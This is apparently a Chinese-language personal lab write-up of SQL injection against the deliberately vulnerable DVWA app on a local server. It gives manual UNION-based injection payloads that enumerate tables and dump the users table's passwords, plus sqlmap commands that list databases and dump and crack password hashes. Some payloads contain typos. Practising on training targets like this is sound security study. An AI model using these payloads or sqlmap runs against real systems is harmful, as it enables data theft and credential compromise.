dvwa_low_SQL_Injection
2018年5月16日
实验平台:win10+wamp+dvwa+sqlmap
实验内容:dvwa_low_SQL_Injection
实验过程:
第一步:配置实验环境
- 安装wamp服务,wamp是集成apache+mysql+php的环境。
- 从github上git clone dvwa(https://github.com/ethicalhack3r/DVWA),将整个文件放在wamp/www目录下
- 启动服务,通过浏览器访问(127.0.0.1/dvwa/login.php)用默认的admin和password登录
- 将dvwa security设置成low级
第二步:sql injection
- 先假装自己是好人,输入1或者2或者3等。看看返回啥
- 在危险的边缘试探,输入“ 1’ “数字一和一瞥,于是返回sql的报错语句,获得2个信息:使用的数据库——mysql,没有过滤掉一瞥
- “天马行空“的推测,完美无过滤的接受了用户的输入(low级),后台语句select…from…where…XXX=’<用户的输入内容>’。正常情况下,用户输入1,后台select…from…where…XXX=’1’。
- 愉快地开始爆装备,
1.‘ or ‘1’=’1’/*基于现有字段爆出所有信息,第一个撇用来闭合*/
2./*进行猜解字段数*/
1′ or 1=1 order by 1;#(查询成功)
1′ or 1=1 order by 2;#(查询成功)
1′ or 1=1 order by 3;#(查询失败,两个字段)
3./*获取当前数据库*/
1' union select 1,database();#(#注释掉后面的东西,mysql中查询当前数据库的命令 --select database();)
4./*获取数据库中的表*/
1’ union select 1,group_concat(table_name) from information _schema.tables where table_schema=database();#
5./*获取表中的字段名*/
1‘union select 1,group_concat(colum_name) from infor mation_schema.columns where table_name=’ users’;#
6./*下载数据*/
1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users;#
第三步:sqlmap
注入神器
/*反馈需要登录cookie*/
sqlmap -u "url"
/*带上cookie参数*/
sqlmap -u "url" --cookie="cookie值”
/*获得所有的数据库*/
sqlmap -u "url" --cookie="cookie值” --dbs
/*获得指定数据库的所有表名单*/
sqlmap -u "url" --cookie="cookie值” -D dvwa --tables
/*获得指定表的字段名及相关信息*/
sqlmap -u "url" --cookie="cookie值” -D dvwa -T users --columns
/*对指定表的字段进行输出并且破解password的hash值*/
sqlmap -u "url" --cookie="cookie值” -D dvwa -T users -C user,password –dump
第四步:总结学习
打开这个wamp\www\dvwa\vulnerabilities\sqli\source目录,查看low.php的源码
看看渣渣级后台源码,这种码已是古董。